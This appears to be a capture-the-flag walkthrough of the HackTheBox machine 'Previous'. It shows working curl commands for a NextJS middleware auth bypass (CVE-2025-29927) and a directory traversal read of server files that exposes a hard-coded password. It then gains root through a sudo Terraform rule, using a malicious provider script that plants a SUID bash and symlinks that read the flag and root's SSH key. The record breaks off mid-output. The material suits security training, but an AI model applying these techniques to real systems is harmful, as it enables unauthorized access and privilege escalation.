Previous

Previous starts with a NextJS application for a fictional JavaScript framework. I’ll exploit the infamous NextJS middleware vulnerability to access the authenticated portion of the site. From there, I’ll find a directory traversal vulnerability in a download API that allows reading files from the server, including the NextAuth config with hard-coded credentials. Those creds work for SSH, and I’ll pivot to root by abusing a misconfigured sudo rule that runs Terraform multiple ways.

Box Info

Name Previous Previous
Play on HackTheBox
Release Date 23 Aug 2025
Retire Date 10 Jan 2026
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Previous
Radar Graph Radar chart for Previous
First Blood User 00:29:51Razzty
First Blood Root 00:37:57celesian
Creator brun0ne

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.83
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-03 04:53 UTC
...[snip]...
Nmap scan report for 10.10.11.83
Host is up, received reset ttl 63 (0.022s latency).
Scanned at 2026-01-03 04:53:25 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.59 seconds
           Raw packets sent: 65677 (2.890MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.83
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-03 04:53 UTC
Nmap scan report for 10.10.11.83
Host is up (0.023s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds

Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 22.04 jammy LTS.

The webserver is redirecting to previous.htb. Given the use of virtual host routing, I’ll use ffuf to brute force any subdomains that respond differently, but not find any. I’ll add previous.htb to my hosts file.

10.10.11.83 previous.htb

All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Website - TCP 80

Site

The site is for some kind of JavaScript framework named PreviousJS:

image-20260105174414700

Clicking either the “Get Started” or “Docs” button leads to login page:

image-20260105174446816

Trying to login silently fails.

Tech Stack

The HTTP response headers show that the site is running NextJS:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 22:41:37 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: Next.js
ETag: "6kopm5t1bh48k"
Vary: Accept-Encoding
Content-Length: 5493

The requests that follow are very typical for NextJS as well, loading a bunch of JavaScript from the _next directory:

image-20260105175933242

The 404 page matches the default NextJS 404 page as well:

image-20260105180228625

Wappalyzer shows this is Next.js 15.2.2:

image-20260107122847881

It gets this by looking around in all the Next.js JavaScript files. It’s not always in a consistent place, but for this case the only place I could find it is in main-0221d9991a31a63c.js:

oxdf@hacky$ curl -s "http://previous.htb/_next/static/chunks/main-0221d9991a31a63c.js" | grep -oE '"[0-9]+\.[0-9]+\.[0-9]+"'
"15.2.2"

NextJS Enumeration

NextJS is a hybrid framework. It doesn’t quite do traditional single page apps, but it has a lot of characteristics similar to SPAs. The root page has the buildId for the application at the bottom:

image-20260105180712619

I’ll also note that nextExport and autoExport are both true, which means the app is statically exported. All the pages are pre-rendered as HTML/JS at build time. This means I should be able to see the routes in the manifest, which is requested from /_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js, using the build ID:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 22:41:37 GMT
Content-Type: application/javascript; charset=UTF-8
Connection: keep-alive
Cache-Control: public, max-age=31536000, immutable
Accept-Ranges: bytes
Last-Modified: Mon, 22 Sep 2025 07:45:23 GMT
ETag: W/"519-19970626e38"
Vary: Accept-Encoding
Content-Length: 1305

self.__BUILD_MANIFEST=function(s,e,t,c,n){return{__rewrites:{afterFiles:[],beforeFiles:[],fallback:[]},__routerFilterStatic:{numItems:0,errorRate:1e-4,numBits:0,numHashes:n,bitArray:[]},__routerFilterDynamic:{numItems:s,errorRate:1e-4,numBits:s,numHashes:n,bitArray:[]},"/":["static/chunks/pages/index-a09f42904785092c.js"],"/_error":["static/chunks/pages/_error-41608b100cc61246.js"],"/docs":[e,t,"static/chunks/pages/docs-5f6acb8b3a59fb7f.js"],"/docs/components/layout":[e,t,"static/chunks/pages/docs/components/layout-79ce7edc85dbc179.js"],"/docs/components/sidebar":[e,"static/chunks/pages/docs/components/sidebar-0302befb549e0142.js"],"/docs/content/examples":["static/chunks/pages/docs/content/examples-e4a3a28759c69901.js"],"/docs/content/getting-started":["static/chunks/pages/docs/content/getting-started-7dd61d428f6ada5c.js"],"/docs/[section]":[e,t,"static/chunks/pages/docs/[section]-31d8b831c1e60f26.js"],"/signin":[t,"static/chunks/pages/signin-d0284ed11872b445.js"],sortedPages:["/","/_app","/_error","/docs","/docs/components/layout","/docs/components/sidebar","/docs/content/examples","/docs/content/getting-started","/docs/[section]","/signin"]}}(0,"static/chunks/8-fd0c493a642e766e.js","static/chunks/0-c54fcec2d27b858d.js",1e-4,NaN),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB();

They all fall in /docs except for /signin, both of which I’ve seen already.

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://previous.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://previous.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l       66w     2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
308      GET        1l        1w       13c http://previous.htb/_next/static/ => http://previous.htb/_next/static
308      GET        1l        1w        6c http://previous.htb/_next/ => http://previous.htb/_next
308      GET        1l        1w       20c http://previous.htb/_next/static/chunks/ => http://previous.htb/_next/static/chunks
308      GET        1l        1w       26c http://previous.htb/_next/static/chunks/pages/ => http://previous.htb/_next/static/chunks/pages
308      GET        1l        1w       35c http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc/ => http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc
308      GET        1l        1w       17c http://previous.htb/_next/static/css/ => http://previous.htb/_next/static/css
308      GET        1l        1w       12c http://previous.htb/application/ => http://previous.htb/application
200      GET        1l        2w       77c http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc/_ssgManifest.js
200      GET        1l        1w     1305c http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js
200      GET        1l       60w     3028c http://previous.htb/_next/static/chunks/webpack-cb370083d4f9953f.js
200      GET        1l      283w     5101c http://previous.htb/_next/static/chunks/pages/index-a09f42904785092c.js
200      GET        1l      725w    33690c http://previous.htb/_next/static/chunks/pages/_app-95f33af851b6322a.js
200      GET        1l      250w    23885c http://previous.htb/_next/static/css/9a1ff1f4870b5a50.css
200      GET        1l     2412w   119495c http://previous.htb/_next/static/chunks/main-0221d9991a31a63c.js
200      GET        1l     2125w   112594c http://previous.htb/_next/static/chunks/polyfills-42372ed130431b0a.js
307      GET        1l        1w       36c http://previous.htb/docs => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
307      GET        1l        1w       35c http://previous.htb/api => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi
200      GET        1l     2734w   139924c http://previous.htb/_next/static/chunks/framework-ee17a4c43a44d3e2.js
200      GET        1l      407w     5493c http://previous.htb/
200      GET        1l      136w     3480c http://previous.htb/_next/static/chunks/pages/signin-d0284ed11872b445.js
200      GET        1l      217w     8862c http://previous.htb/_next/static/chunks/0-c54fcec2d27b858d.js
200      GET        1l      179w     3481c http://previous.htb/signin
307      GET        1l        1w       39c http://previous.htb/api-doc => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-doc
307      GET        1l        1w       36c http://previous.htb/apis => http://previous.htb/api/auth/signin?callbackUrl=%2Fapis
307      GET        1l        1w       40c http://previous.htb/api_test => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi_test
307      GET        1l        1w       37c http://previous.htb/docs2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs2
307      GET        1l        1w       36c http://previous.htb/api3 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi3
307      GET        1l        1w       36c http://previous.htb/api2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi2
307      GET        1l        1w       36c http://previous.htb/api4 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi4
307      GET        1l        1w       40c http://previous.htb/docstore => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocstore
307      GET        1l        1w       41c http://previous.htb/docsearch => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocsearch
[####################] - 2m     30020/30020   0s      found:31      errors:1      
[####################] - 2m     30000/30000   310/s   http://previous.htb/   

It doesn’t find anything I haven’t already seen.

Shell as jeremy

Auth Bypass

CVE-2025-29927

NIST describes CVE-2025-29927 as:

Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.

The bulletin on NextJS’s GitHub rates this as critical, and offers the workaround:

If patching to a safe version is infeasible, we recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application.

Datadog has a really nice writeup on the vulnerability. Basically, if the x-middleware-subrequest header is set in the HTTP headers, NextJS can be tricked into skipping the intended middleware (which is often used for authentication). In later versions of NextJS, a longer header is required, but it still works.

POC

I haven’t found a leak of the NextJS version yet, but this is such a quick POC it’s definitely worth a shot. If I fetch /docs normally (using a HEAD request with -I because I don’t need the body), it returns a 307 redirect to login:

oxdf@hacky$ curl -I -s "http://previous.htb/docs" 
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 23:31:29 GMT
Connection: keep-alive
location: /api/auth/signin?callbackUrl=%2Fdocs

Adding the header “middleware” doesn’t bypass this:

oxdf@hacky$ curl -I -s "http://previous.htb/docs" -H "x-middleware-subrequest: middleware"
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 23:32:23 GMT
Connection: keep-alive
location: /api/auth/signin?callbackUrl=%2Fdocs

This suggests it’s either patched or version 14 or earlier. Adding 5 “middleware”s (to max out the middleware MAX_RECURSION_DEPTH) does bypass the auth:

oxdf@hacky$ curl -I -s "http://previous.htb/docs" -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 23:32:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3353
Connection: keep-alive
X-Powered-By: Next.js
ETag: "83h4wb4nfw2l1"
Vary: Accept-Encoding

That’s exploitation of this CVE. I can use Burp proxy in intercept mode to catch the request and add the header to get the page to load in a browser as well:

image-20260105183512105

Automating Add Header

To access the authenticated part of the site, I’ll need to add this header to basically every request. Rather than doing it manually, I’ll set up a “Match/replace rule” in Burp:

image-20260105183807450

When the “Match” is blank, it just adds the “Replace” to the end. Now I can browse the site and it doesn’t redirect to the login page.

Authenticated Site Enumeration

/docs shows a page (above) with references to two other pages. /docs/getting-started has some basic information, but nothing useful:

image-20260105184009076

/docs/examples has a Hello World application as well as a link to download:

image-20260105184037272

That link points at /api/download?example=hello-world.ts, and downloads hello-world.ts:

import { app } from 'previous';

const app = new App();
app.start();

Directory Traversal / File Read

POC

I’ll send a copy of the modified GET request over to Burp Repeater (and clean out unneeded headers), and verify it works:

image-20260105184542601

To test directory traversal, I’ll try to grab /etc/passwd using relative paths:

image-20260105184634192

Enumeration

I’ll check out the current process:

image-20260105185549693

The webserver runs out of /app. Some important files for NextJS:

  • .env - Environment variables and secrets
  • package.json - Dependencies and versions
  • .next/routes-manifest.json - All application routes
  • .next/build-manifest.json - Build metadata
  • next.config.js or next.config.mjs - Next.js configuration

.env gives the secret key for the application:

image-20260105185820033

With this I can forge cookies. package.json confirms this is NextJS version 15.2.2:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 23:58:33 GMT
Content-Type: application/zip
Content-Length: 587
Connection: keep-alive
Content-Disposition: attachment; filename="package.json"
ETag: "10ykmnkceex1j4"

{
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build"
  },
  "dependencies": {
    "@mdx-js/loader": "^3.1.0",
    "@mdx-js/react": "^3.1.0",
    "@next/mdx": "^15.3.0",
    "@tailwindcss/postcss": "^4.1.3",
    "@tailwindcss/typography": "^0.5.16",
    "@types/mdx": "^2.0.13",
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
    "postcss": "^8.5.3",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "tailwindcss": "^4.1.3"
  },
  "devDependencies": {
    "@types/node": "22.14.0",
    "@types/react": "19.1.0",
    "typescript": "5.8.3"
  }
}

It also shows that next-auth package is being used. NextAuth.js an open-source authentication package for Next.js applications. The NextAuth config is stored at .next/server/pages/api/auth/[...nextauth].js:

image-20260105190703007

Throwing that into a JavaScript beautifier shows a hard-coded password:

authorize: async e => e?.username === "jeremy" && e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ? {
    id: "1",
    name: "Jeremy"
} : null

SSH

Those creds work for the jeremy user on Previous:

oxdf@hacky$ netexec ssh previous.htb -u jeremy -p MyNameIsJeremyAndILovePancakes
SSH         10.10.11.83     22     previous.htb     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.10.11.83     22     previous.htb     [+] jeremy:MyNameIsJeremyAndILovePancakes  Linux - Shell access!

I’ll get a shell:

oxdf@hacky$ sshpass -p MyNameIsJeremyAndILovePancakes ssh jeremy@previous.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
...[snip]...
jeremy@previous:~$

And user.txt:

jeremy@previous:~$ cat user.txt
dc81cd85************************

Shell as root

Enumeration

Users

There are no other users with home directories in /home, and jeremy and root are the only users with shells set:

jeremy@previous:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
jeremy:x:1000:1000:,,,:/home/jeremy:/bin/bash

jeremy’s home directory has a couple interesting things:

jeremy@previous:~$ ls -la
total 36
drwxr-x--- 4 jeremy jeremy 4096 Aug 21 20:24 .
drwxr-xr-x 3 root   root   4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root   root      9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy  220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Sep 22 07:37 docker
-rw-r--r-- 1 jeremy jeremy  807 Aug 21 17:28 .profile
-rw-rw-r-- 1 jeremy jeremy  150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root   jeremy   33 Jan  6 01:52 user.txt

There’s a docker folder with the web application:

jeremy@previous:~$ ls docker/
docker-compose.yml  previous
jeremy@previous:~$ cat docker/docker-compose.yml 
services:
  next:
    build: previous
    restart: unless-stopped
    ports:
      - "127.0.0.1:3000:3000"

The previous directory has the Dockerfile and all the files for the web application, but they aren’t useful from this point.

There’s also a file related to Terraform, which is an infrastructure as code tool created by HashiCorp. jeremy can run a specific terraform command as root using sudo:

jeremy@previous:~$ sudo -l
[sudo] password for jeremy: 
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

Terraform

This command forces the current working directory to be /opt/examples and then runs apply, which creates or updates infrastructure.

There’s a .terraformrc file in /home/jeremy:

provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/usr/local/go/bin"
        }
        direct {}
}

/opt/examples has Terraform files:

jeremy@previous:~$ ls -a /opt/examples/
.  ..  .gitignore  main.tf  .terraform  .terraform.lock.hcl  terraform.tfstate

main.tf basically facilitates moving files from /root/examples to their home directory:

terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}

Putting this all together, when jeremy runs sudo /usr/bin/terraform -chdir\=/opt/examples apply:

  • sudo runs terraform as root. The environment variables stay the same except for $PATH.
  • Terraform reads the user config from $HOME/.terraformrc, which is still /home/jeremy because of !env_reset. This file provides the provider previous.htb/terraform/examples in /usr/local/go/bin.
  • Terraform reads all the .tf files in /opt/examples, which in this case is main.tf. main.tf fill copy a file to the destination_path, which is hard coded into the binary provider.

The provider is a Go compiled ELF binary:

jeremy@previous:~$ file /usr/local/go/bin/terraform-provider-examples
/usr/local/go/bin/terraform-provider-examples: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=oxKqdB-oFvKp7KFdjH5q/X48Z8OR6LcD775Y3IE8l/gG1qKAHDEWR62hFKQOUM/p6l6Q8egzljUSxfkRz_z, with debug_info, not stripped

Go strings are not null terminated, so they often run together as one long string. The path /home/jeremy/docker/previous/public/examples/ is in there:

jeremy@previous:~$ strings /usr/local/go/bin/terraform-provider-examples | grep home
        currently from:  %qcontext: internal error: missing cancel error/home/jeremy/docker/previous/public/examples/reflect: nil type passed to Type.AssignableToreflect: OverflowComplex of non-complex type reflect: internal error: invalid method indextransitioning GC to the same state as before?produced a trigger greater than the heap goaltried to run scavenger from another goroutineruntime: failed mSpanList.remove span.npages=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeroCalling provider defined planmodifier.Float32Calling provider defined planmodifier.Float64Calling provider defined planmodifier.DynamicInvalid Configuration for Read-Only AttributeInvalid Number Attribute Validator Value TypeInvalid Object Attribute Validator Value TypeInvalid String Attribute Validator Value TypeAttribute Validation Error Invalid Value TypeUnknown attribute value type (%T) at path: %sInvalid Object Block Plan Modifier Value Typeunknown attribute value type (%T) at path: %sCalling provider defined Provider DataSourcesCalling provider defined Resource ImportStateDataSource implements DataSourceWithConfigureCalling provider defined DataSource ConfigureCalled provider defined Resource UpgradeStatehttp: putIdleConn: connection is in bad statehttp: no Client.Transport or DefaultTransportinvalid request :path %q from URL.Opaque = %qhttp: multipart handled by ParseMultipartFormnet/http: internal error: connCount underflowcannot send after transport endpoint shutdownunhandled Int32 state in ToTerraformValue: %sunhandled Int64 state in ToTerraformValue: %smissing type information; cannot create valueObject Attribute Name (%s) Expected Type: %s

Actually running the command makes sure a copy of hello-world.ts exists in a directory in jeremy’s home directory:

jeremy@previous:~$ sudo terraform -chdir\=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│ 
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /usr/local/go/bin
│ 
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become
│ incompatible with published releases.
╵
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

No changes. Your infrastructure matches the configuration.

Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.

Apply complete! Resources: 0 added, 0 changed, 0 destroyed.

Outputs:

destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
jeremy@previous:~$ ls -l docker/previous/public/examples/hello-world.ts 
-rw-r--r-- 1 jeremy jeremy 69 Jan  6 20:57 docker/previous/public/examples/hello-world.ts

If I delete that file and re-run, it copies it (I’ll note the new copy is owned by root):

jeremy@previous:~$ rm docker/previous/public/examples/hello-world.ts
jeremy@previous:~$ sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /usr/local/go/bin
...[snip]...
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following
symbols:
  + create

Terraform will perform the following actions:

  # examples_example.example will be created
  + resource "examples_example" "example" {
      + destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
      + id               = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
      + source_path      = "/root/examples/hello-world.ts"
    }

Plan: 1 to add, 0 to change, 0 to destroy.

Do you want to perform these actions?
  Terraform will perform the actions described above.
  Only 'yes' will be accepted to approve.

  Enter a value: yes

examples_example.example: Creating...
examples_example.example: Creation complete after 0s [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

Apply complete! Resources: 1 added, 0 changed, 0 destroyed.

Outputs:

destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
jeremy@previous:~$ ls -l docker/previous/public/examples/hello-world.ts 
-rw-r--r-- 1 root root 69 Jan  6 20:58 docker/previous/public/examples/hello-world.ts

Abuse Terraform

Overview

I’ll show three ways to abuse this sudo rule with terraform to get the flag / root:

flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] --->|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] --->|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Shell as jeremy]-->B(<a href='#malicious-config'>Malicious Config</a>);
    B-->C[Shell as root];
    A-->D(<a href='#overwrite-variables-for-read'>TF_VAR for Read</a>);
    D-->E(Read Flag);
    D-->C;
    A-->F(<a href='#overwrite-variables-for-write'>TF_VAR for Write</a>);
    F-->C;

linkStyle default stroke-width:2px,stroke:#4B9CD3,fill:none;
linkStyle 0,4,5,6 stroke-width:2px,stroke:#FFFF99,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;

Malicious Config

When the terraform runs with !env_reset leaving the $HOME, that means it loads /home/jeremy/.terraformrc. That is the file that specifies where to get the binary to run:

jeremy@previous:~$ cat .terraformrc 
provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/usr/local/go/bin"
        }
        direct {}
}

As jeremy, I have full control over that file:

jeremy@previous:~$ ls -l .terraformrc 
-rw-rw-r-- 1 jeremy jeremy 150 Aug 21 18:48 .terraformrc

This config has terraform run /usr/local/go/bin/terraform-provider-examples. I’ll change it to point somewhere I can control:

jeremy@previous:~$ cat .terraformrc
provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/dev/shm"
        }
        direct {}
}

Now I’ll drop a script and make it executable:

jeremy@previous:~$ vim /dev/shm/terraform-provider-examples
jeremy@previous:~$ cat /dev/shm/terraform-provider-examples 
#!/bin/bash

cp /bin/bash /var/tmp/0xdf
chown root:root /var/tmp/0xdf
chmod 6777 /var/tmp/0xdf
jeremy@previous:~$ chmod +x /dev/shm/terraform-provider-examples

This will make a copy of bash named 0xdf owned by root with SetUID and SetGID. Now I run terraform:

jeremy@previous:~$ sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /dev/shm
...[snip]...
╵
╷
│ Error: Failed to load plugin schemas
│ 
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider
│ previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized
│ remote plugin message: 
│ Failed to read any lines from plugin's stdout
│ This usually means
│   the plugin was not compiled for this architecture,
│   the plugin is missing dynamic-link libraries necessary to run,
│   the plugin is not executable by this process due to file permissions, or
│   the plugin failed to negotiate the initial go-plugin protocol handshake
│ 
│ Additional notes about plugin:
│   Path: /dev/shm/terraform-provider-examples
│   Mode: -rwxrwxr-x
│   Owner: 1000 [jeremy] (current: 0 [root])
│   Group: 1000 [jeremy] (current: 0 [root])
│ ..
╵

It seems to error out, but the new copy of bash is there:

jeremy@previous:~$ ls -l /var/tmp/0xdf 
-rwsrwsrwx 1 root root 1396520 Jan  6 20:54 /var/tmp/0xdf

I’ll get a shell (with -p to not drop privs):

jeremy@previous:~$ /var/tmp/0xdf -p
0xdf-5.1# 

And the flag:

0xdf-5.1# cat /root/root.txt
6e570fae************************

Overwrite Variables for Read

In the Terraform config, the source variable is set up with a default parameter:

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

That is used when no other is given, but I can pass it in using environment variables, which are preserved in this sudo configuration. I can try to directly read the flag, but the validation still holds:

jeremy@previous:~$ TF_VAR_source_path=/root/root.txt sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /usr/local/go/bin
...[snip]...
╵
╷
│ Error: Invalid value for variable
│ 
│   on main.tf line 9:
│    9: variable "source_path" {
│     ├────────────────
│     │ var.source_path is "/root/root.txt"
│ 
│ The source_path must contain '/root/examples/'.
│ 
│ This was checked by the validation rule at main.tf:13,3-13.

Still, I can create a symbolic link:

jeremy@previous:~$ mkdir -p /dev/shm/root/examples                  
jeremy@previous:~$ ln -s /root/root.txt /dev/shm/root/examples/flag
jeremy@previous:~$ ls -l /dev/shm/root/examples/
total 0
lrwxrwxrwx 1 jeremy jeremy 14 Jan  6 22:43 flag -> /root/root.txt

Now terraform fetches the flag:

jeremy@previous:~$ TF_VAR_source_path=/dev/shm/root/examples/flag sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /usr/local/go/bin
...[snip]...
╵
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following
symbols:
-/+ destroy and then create replacement

Terraform will perform the following actions:

  # examples_example.example must be replaced
-/+ resource "examples_example" "example" {
      ~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/flag" # forces replacement
      ~ id               = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/flag"
      ~ source_path      = "/root/examples/hello-world.ts" -> "/dev/shm/root/examples/flag" # forces replacement
    }

Plan: 1 to add, 0 to change, 1 to destroy.

Changes to Outputs:
  ~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/flag"

Do you want to perform these actions?
  Terraform will perform the actions described above.
  Only 'yes' will be accepted to approve.

  Enter a value: yes

examples_example.example: Destroying... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
examples_example.example: Destruction complete after 0s
examples_example.example: Creating...
examples_example.example: Creation complete after 0s [id=/home/jeremy/docker/previous/public/examples/flag]

Apply complete! Resources: 1 added, 0 changed, 1 destroyed.

Outputs:

destination_path = "/home/jeremy/docker/previous/public/examples/flag"
jeremy@previous:~$ cat /home/jeremy/docker/previous/public/examples/flag
6e570fae5d33565719d9a97fd0bb230f

I can use the same steps to read root’s SSH key:

jeremy@previous:~$ ln -sf /root/.ssh/id_rsa /dev/shm/root/examples/id_rsa
jeremy@previous:~$ TF_VAR_source_path=/dev/shm/root/examples/id_rsa sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /usr/local/go/bin
...[snip]...
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following
symbols:
-/+ destroy and then create replacement

Terraform will perform the following actions:

  # examples_example.example must be replaced
-/+ resource "examples_example" "example" {
      ~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/id_rsa" # forces replacement
      ~ id               = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/id_rsa"
      ~ source_path      = "/root/examples/hello-world.ts" -> "/dev/shm/root/examples/id_rsa" # forces replacement
    }

